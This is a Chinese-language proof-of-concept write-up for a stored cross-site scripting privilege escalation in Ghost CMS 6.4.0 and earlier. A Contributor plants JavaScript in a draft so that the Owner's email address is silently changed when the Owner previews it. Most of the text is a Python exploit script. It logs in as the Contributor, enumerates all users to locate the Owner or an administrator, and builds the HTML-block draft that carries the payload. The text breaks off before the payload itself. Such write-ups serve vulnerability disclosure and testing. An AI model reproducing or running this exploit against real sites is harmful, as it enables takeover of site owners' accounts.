
Ghost CMS 权限提升 PoC
Ghost CMS 权限提升 PoC
在 Ghost Foundation Ghost CMS 6.4.0 及更早版本中,文章草稿编辑器内的 HTML 块未能正确清理或编码用户提供的内容,导致存储型跨站脚本(XSS)漏洞。具有 Contributor(贡献者)权限的用户可以在草稿中注入任意 JavaScript,当 Owner(所有者)账户查看该草稿时,脚本即会执行。这允许攻击者以 Owner 的身份执行特权操作。
为了演示该漏洞,需要搭建一个本地 Ghost CMS 实例并配置两个账户:
Owner(所有者)账户 - 在 Ghost 安装过程中自动创建。
Contributor(贡献者)账户 - 由 Owner 通过邀请新用户创建。Ghost 会向 Contributor 的电子邮件地址发送 Magic Link 以完成账户设置。
由于这是在本地执行的,因此应安装诸如 MailHog 之类的邮件捕获工具(例如通过 Docker)。这样便可以拦截 Ghost 发送的 Magic Link,使 Contributor 能够自行激活其账户。
两个账户都激活后,即可使用漏洞利用脚本(contributor.py)。该脚本需要 Contributor 的登录凭据,以及在成功利用后将被分配给 Owner 账户的新电子邮件地址。
脚本参数如下:
-u / --username Contributor username (email)
-p / --password Contributor password
-e / --new-email New email address to be set on the Owner account
--url Ghost instance URL (optional)
在终端中运行脚本,请使用:
python3 contributor.py -u '[email protected]' -p 'wojtek123!@#' -e '[email protected]'
执行时,脚本会自动创建一个新的文章草稿,并在易受攻击的 HTML 块中嵌入恶意 JavaScript 载荷。
要触发存储型 XSS,Owner 只需预览草稿:在 Ghost 管理面板中打开该草稿并点击“预览”(Preview)。注入的脚本将以 Owner 的权限在后台执行,并且 Owner 不会收到其电子邮件地址已被更改的通知。
import requests
import json
import argparse
class GhostCMSSession:
def __init__(self, ghost_url="http://localhost:2368"):
self.ghost_url = ghost_url.rstrip('/')
self.api_url = f"{self.ghost_url}/ghost/api/admin"
self.session = requests.Session()
self.authenticated = False
self.current_user = None
self.owner_user = None
self.session.headers.update({
'Origin': self.ghost_url,
'Accept': 'application/json',
'Content-Type': 'application/json'
})
def login(self, username, password):
"""Login to Ghost with username and password"""
login_url = f"{self.api_url}/session/"
payload = {"username": username, "password": password}
try:
response = self.session.post(login_url, json=payload)
if response.status_code == 201:
print(f"✓ Successfully logged in as {username}")
self.authenticated = True
self.current_user = self.get_current_user()
self.owner_user = self.get_owner_user()
return True
else:
print(f"✗ Login failed: {response.status_code}")
return False
except Exception as e:
print(f"✗ Login error: {str(e)}")
return False
def get_current_user(self):
"""Get current user information"""
if not self.authenticated:
return None
try:
url = f"{self.api_url}/users/me/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
user = data['users'][0]
print(f"\n Current User: {user.get('name', 'Unknown')}")
print(f" Email: {user.get('email', 'Unknown')}")
print(f" User ID: {user.get('id', 'Unknown')}")
if 'roles' in user and user['roles']:
role = user['roles'][0]
if isinstance(role, dict):
print(f" Role: {role.get('name', 'Unknown')}")
return user
return None
except Exception as e:
print(f" Error fetching user: {str(e)}")
return None
def get_owner_user(self):
"""Fetch all users and find the owner - return full user object"""
if not self.authenticated:
return None
try:
print(f"\n Fetching all users to find owner...")
url = f"{self.api_url}/users/?include=roles"
response = self.session.get(url)
if response.status_code == 200:
data = response.json()
users = data.get('users', [])
print(f" Found {len(users)} users")
for user in users:
if 'roles' in user and user['roles']:
role = user['roles'][0]
role_name = role.get('name', '').lower() if isinstance(role, dict) else str(role).lower()
print(f" - {user.get('name')} ({user.get('email')}) - Role: {role_name}")
if role_name == 'owner' or role_name == 'administrator':
print(f"\n ✓ Found Owner: {user.get('name')} (ID: {user.get('id')})")
print(f" Slug: {user.get('slug')}")
print(f" Email: {user.get('email')}")
return user
return None
return None
except Exception as e:
print(f" ✗ Error fetching users: {str(e)}")
return None
def create_lexical_with_html(self, html_content):
"""Create Lexical format with HTML node (as a JSON string)"""
lexical_structure = {
"root": {
"children": [
{
"type": "html",
"version": 1,
"html": html_content,
"visibility": {
"web": {
"nonMember": True,
"memberSegment": "status:free,status:-free"
},
"email": {
"memberSegment": "status:free,status:-free"
}
}
},
{
"children": [],
"direction": None,
"format": "",
"indent": 0,
"type": "paragraph",
"version": 1
}
],
"direction": None,
"format": "",
"indent": 0,
"type": "root",
"version": 1
}
}
return json.dumps(lexical_structure)
def create_post_for_review(self, title, new_email, tags=None, excerpt=None):
"""Create a post with Lexical HTML content"""
if not self.authenticated or not self.current_user:
print("✗ Not authenticated")
return None
if not self.owner_user:
print("✗ Owner user not found")
return None
author_id = self.current_user.get('id')
owner_id = self.owner_user.get('id')
owner_slug = self.owner_user.get('slug')
owner_name = self.owner_user.get('name')
print(f"\n Creating post with CONTRIBUTOR as author")
print(f" Author ID: {author_id} ({self.current_user.get('name')})")
print(f" Target Owner ID: {owner_id}")
print(f" Target Owner Slug: {owner_slug}")
print(f" Target Owner Name: {owner_name}")